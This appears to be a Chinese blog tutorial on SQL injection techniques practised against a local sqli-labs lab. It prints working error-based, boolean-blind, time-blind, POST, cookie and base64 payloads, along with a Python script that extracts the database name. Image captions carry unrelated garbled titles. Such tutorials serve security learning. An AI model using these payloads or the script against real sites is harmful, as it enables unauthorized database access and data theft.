前文链接

WAMP/DVWA/sqli-labs 搭建

burpsuite工具抓包及Intruder暴力破解的使用

目录扫描,请求重发,漏洞扫描等工具的使用

网站信息收集及nmap的下载使用

SQL注入(1)——了解成因和手工注入方法

上一篇讲了SQL手工注入及简单的检测,今天来讲解各种类型的注入。

这里配合先前搭建好的sqli-lab进行测试

报错注入

报错注入主要是通过使数据库报错,从而获取信息。

这里报错函数主要是updatexml、extractvalue

这里分别演示一下使用方法

updatexml()

Android中注入js android sql注入_sql


0x7e是~的ASCII,在这里成功返回了当前数据库。extractvalue

Android中注入js android sql注入_数据库_02


实例:http://192.168.1.9/sql1/Less-5 访问id=1,看见如下界面

Android中注入js android sql注入_安全_03


分别输入 ’ and ‘1’='1’ and ‘1’='2,查看响应结果

’ and ‘1’='1

Android中注入js android sql注入_Android中注入js_04


’ and ‘1’='2

Android中注入js android sql注入_Android中注入js_05


发现界面发生了错误,判断存在SQL注入漏洞,但由于没有回显,所以不能用union注入,这是可以用报错注入爆数据库:

payload:id=1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)–+

Android中注入js android sql注入_Android中注入js_06


后续步骤与union注入一致。

布尔盲注

测试页面:http://192.168.1.9/sql1/Less-8/ 访问id=1,响应

Android中注入js android sql注入_sql_07


我们分别访问 ’ and ‘1’='1’ and ‘1’='2,查看响应结果

’ and ‘1’='1

Android中注入js android sql注入_Less_08


’ and ‘1’='2

Android中注入js android sql注入_Android中注入js_09


发现响应了错误的请求,此时由于没有错误信息,也没有回显,我们可以用bool盲注访问 id=1’ and length(database())>1–+,响应了正确的页面

Android中注入js android sql注入_Android中注入js_10


再访问 id=1’ and length(database())>10–+

Android中注入js android sql注入_安全_11


确认存在布尔盲注

接下来写一个脚本来爆出想要的信息

bool.py

import requests
url='http://192.168.1.9/sql1/Less-8/?'
payload="id=1' and ord(substr(database(),%d,1))=%d--+"
session=requests.Session()
result=''
for i in range(10):
	for j in range(97,123):
		text=session.get(url+payload%(i,j)).text
		if (len(text)!=722):
			result+=chr(j)
print(result)

这只是很简单的脚本,还有更多的改进方法

Android中注入js android sql注入_安全_12


成功爆出了数据库名

时间盲注

这里介绍两个函数
if (expr1,expr2,expr3)
含义:如果expr1是true,则返回值为expr2,否则返回值为expr3

sleep(n)
含义:休眠n秒
这样我们就可以构造如这样的payload

id=1’ and if(length(database())>1,sleep(5),1)–+

此时,如果数据库的长度大于一,就会休眠5秒,否则就会返回直接结果

由于响应的时间非常短,我们可以用burpsuite的Repeater查看返回结果,从而判断

链接:http://192.168.1.9/sql1/Less-9/ 访问 id=1,查看结果

Android中注入js android sql注入_安全_13


分别输入 ’ and ‘1’='1’ and ‘1’='2

Android中注入js android sql注入_Android中注入js_14


Android中注入js android sql注入_sql_15


发现返回结果无异,此时不能用bool盲注,但可以尝试时间盲注构造payload:id=1’ and if (length(database())>1,sleep(5),1)–+

Android中注入js android sql注入_安全_16


发现响应时间为5秒,判断存在时间盲注

剩下步骤
与bool注入一致

POST注入

POST注入指注入点在POST参数中

测试地址:http://192.168.1.9/sql1/Less-12/ 我们访问界面,会看到一个登录框

Android中注入js android sql注入_数据库_17


我们在里面输入一个双引号,发现返回了错误信息

Android中注入js android sql注入_Less_18


告诉我们是用双引号和括号包裹起来的利用bp抓包请求,构造payload

Android中注入js android sql注入_Less_19


登录成功了,说明存在注入输入 order by子句判断字段数

order by 1

Android中注入js android sql注入_sql_20


order by 2

Android中注入js android sql注入_sql_21


order by 3

Android中注入js android sql注入_sql_22


页面报错,说明存在两个字段爆数据库:

payload:uname=123") union select 1,database()–+

Android中注入js android sql注入_安全_23


剩下步骤与union注入一致

Cookie注入

Cookie注入指注入参数在Cookie中

测试地址:http://192.168.1.9/sql1/Less-20 访问这个界面,会出现一个登陆框,在登录之后,会出现关于用户的信息

Android中注入js android sql注入_Less_24


Android中注入js android sql注入_Android中注入js_25


此时在bp中抓包看见cookie中有uname字段。

Android中注入js android sql注入_Android中注入js_26


在admin后加一个单引号,发现页面报错,推测存在sql注入

Android中注入js android sql注入_Android中注入js_27


在admin后面加上 ’ and ‘1’=‘1’–+'and ‘1’=‘2’–+

’ and ‘1’=‘1’–+

Android中注入js android sql注入_Android中注入js_28


’and ‘1’=‘2’–+

Android中注入js android sql注入_Less_29

页面出错,存在注入漏洞通过order by爆字段数

order by 1

Android中注入js android sql注入_Android中注入js_30


order by 4

Android中注入js android sql注入_安全_31

字段数为3

爆数据库:uname=a’ union select 1,2,database()–+

Android中注入js android sql注入_Android中注入js_32


剩余步骤与union一致

Base64注入

Base64注入指在注入参数中经过了base64加密

测试地址:http://192.168.1.9/sql1/Less-21/index.php 访问页面,登录,输出了我们的信息

Android中注入js android sql注入_sql_33


bp抓包看参数,发现uname经过了加密

Android中注入js android sql注入_sql_34


其中,%3D是url编码,意为 = 。也就是uname的值为YWRtaW4=

放到Decoder模块进行解密,发现Base64解密的结果是admin

Android中注入js android sql注入_Less_35


接下来构造payload,并将payload进行base64加密后发送去

payload:admin’–+

加密后:YWRtaW4nLS0r

查看发送结果

Android中注入js android sql注入_Less_36


提示被括号包围,重新构造payload为admin’)#

加密结果:YWRtaW4nKSM=

查看请求结果

Android中注入js android sql注入_Android中注入js_37


发现注入点

通过order by 子句获取字段数为三

构造payload爆信息

payload:a’) union select 1,2,database()#

加密结果:YScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

响应结果

Android中注入js android sql注入_安全_38


后续步骤与union注入一致